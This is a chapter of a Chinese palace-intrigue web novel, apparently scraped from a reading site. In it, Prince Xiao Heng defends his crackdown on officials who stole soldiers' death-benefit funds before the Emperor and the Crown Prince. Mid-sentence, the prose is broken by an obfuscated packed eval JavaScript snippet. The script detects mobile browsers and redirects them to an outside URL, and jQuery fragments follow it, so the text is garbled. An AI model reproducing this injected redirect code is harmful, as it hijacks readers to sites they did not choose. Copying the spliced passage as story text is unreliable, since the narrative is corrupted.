第146章:父子二人对峙

作品:《无双小王爷

    “你知不知道你自己在做什么?”


    紫宸殿内,沉香从兽纹铜炉中袅袅升起,却在半途被凝重得几乎凝固的空气压得散不开。


    梁帝早已喝退左右,连平日里随侍在侧的老太监也垂首退至殿外。


    此刻殿中只余梁帝、萧恒,以及刚刚赶到的太子三人。


    梁帝端坐于御座之上,明黄色的龙袍在透过高窗的斜阳下泛着威严却冰冷的光。


    目光如淬寒的刀锋,直直刺向站在殿中的萧恒,声音不高,却每个字都沉沉砸在寂静里。


    萧恒动用影刃司,在短短数日之内,于京都掀起了一场令整个官场人人自危的血雨腥风。


    而且,这风暴非但没有止息的迹象,反而正以骇人的速度蔓延、恶化。


    每时每刻,都有新的官员被影刃司的黑衣人从府衙、甚至家中带走。


    更令朝廷震荡的是,这些被卷入漩涡的官员,身后大多盘根错节地站着各大世家门阀。


    此种情形若再不加以遏制,京都乃至整个大梁的世家势力恐将彻底沸腾,酿成难以收拾的乱局。


    因此,梁帝第一时间急召萧恒入宫,决意不能再任由这个儿子如此不计后果地胡作非为下去。


    而对萧恒在此次抚恤金一案中所展现出的铁腕与雷霆手段,连一旁静立的太子都看得心惊肉跳,暗自咋舌。


    他从未想过,自己这个九弟行事竟能刚硬决绝至此,竟然没有任何迂回婉转,没有任何铺垫缓冲,一出手便是这般大开大合、摧枯拉朽的架势。


    这般行事,犹如在悬崖边缘纵马狂奔。


    太子深知,若是一个驾驭不当,非但不能将抚恤金一案查个水落石出,给天下百姓、万千边关将士一个应有的交代。


    反而极可能彻底触怒盘踞已久的世家力量,激起猛烈的反扑,最终导致无法挽回的失控局面。


    太子更清楚,梁帝对萧恒这般近乎莽撞的行事风格,绝不会只是不满那么简单,极有可能已是天威震怒。


    是以,萧恒前脚刚奉诏入宫,太子后脚便火急火燎地赶到了紫宸殿。


    太子实在放心不下,老九近来的性子越发捉摸不透,已经好几次不知轻重、不知死活地硬顶老爷子了。


    以往那些小打小闹,老爷子至多吹胡子瞪眼,厉声训斥几句也就罢了。


    但此番却截然不同,这是牵扯甚广、震动朝野的大案,牵连官员之众、触及利益之深,一个处置不慎,是真有可能动摇国本的。


    绝不能再让老九由着性子犯浑了,否则……那后果太子连想都不愿细想。


    于是太子急匆匆赶来,便是要在一旁盯着,倘若老九再次不管不顾,自己或许还能及时出手,将他从那危险的边缘拉回几分。


    此时,太子因赶路而气息微促,正静立在御座一侧。


    见萧恒也是刚到,殿内气氛虽紧绷如弦,御座之上的老爷子也虽然面沉似水,目光冷冽,当至少尚未有雷霆之怒爆发,一切似乎还在可控的范围内。


    太子心下稍安,暗自舒了口气:还好,总算赶上了,这两头倔强的狮子尚未针锋相对地咆哮起来。


    然而,萧恒下一句话出口,太子的心便猛地一沉,脸色也随之变得难看起来。


    “儿臣自然知道自己在做什么。”


    萧恒身姿挺拔如松,面上并无惧色,亦无谄媚,只有一种近乎执拗的平静。


    不卑不亢地对上梁帝的目光,声音清晰而坚定:“儿臣正在做的,是全力清除那些蛀空我大梁基石的蠹虫。”


    梁帝的表情愈发阴沉,手指在御座的扶手上无


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918129|187014||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    意识地敲击了一下,细微的声响在寂静中格外清晰:“你好像认为你自己做得很对?”


    萧恒闻言,竟微微抬起了下颌,眼神锐利而坦然地迎向梁帝的逼视,反问道:“难道不对吗?”


    萧恒顿了顿,语气中压抑着汹涌的情绪。


    “那区区几两银两,是前线将士用血肉、用性命换来的。”


    “百姓家中的顶梁柱战**,朝廷明令颁下的抚恤银钱,便是他们身后遗孀老幼活下去的最后依靠,是世间仅存的微末指望!”


    萧恒的声音渐高,带着难以抑制的愤懑:“可那群畜生,连这笔钱都敢贪!都敢伸手!”


    萧恒向前踏了半步,胸膛起伏,眼中的光芒灼灼逼人:“父皇,他们贪墨的仅仅是银子吗?”


    萧恒猛地摇头,话语如同出鞘的利剑,寒光四射。


    “不!他们贪墨的,是我大梁万千忠勇将士用性命换来的山河安宁、国泰民安。”


    “他们榨取的,是无数破碎家庭赖以生存的最后一丝元气,是他们挣扎求存的最后一点希望。”


    “如此行径,罪大恶极,罄竹难书!”


    萧恒的声音在空旷的大殿中回荡。


    “他们还有什么资格位列朝堂,穿着官袍?”


    “在儿臣看来,他们不过是一群披着人皮、吮吸民脂民血的恶鬼!”


    “儿臣此番所为,已是极度克制,一切皆是遵照我大梁律法行事,未敢有半分逾越。”


    萧恒深吸一口气,最后的话语带着冰冷的决绝,一字一句道。


    “若是依着儿臣本心,这般毫无人性的混蛋,就该悉数凌迟处死,以儆效尤!”


    “其家眷,男丁尽数没为官奴,女子充入教坊司,所有非法所得的家产,更应全部查抄充公,分文不留!”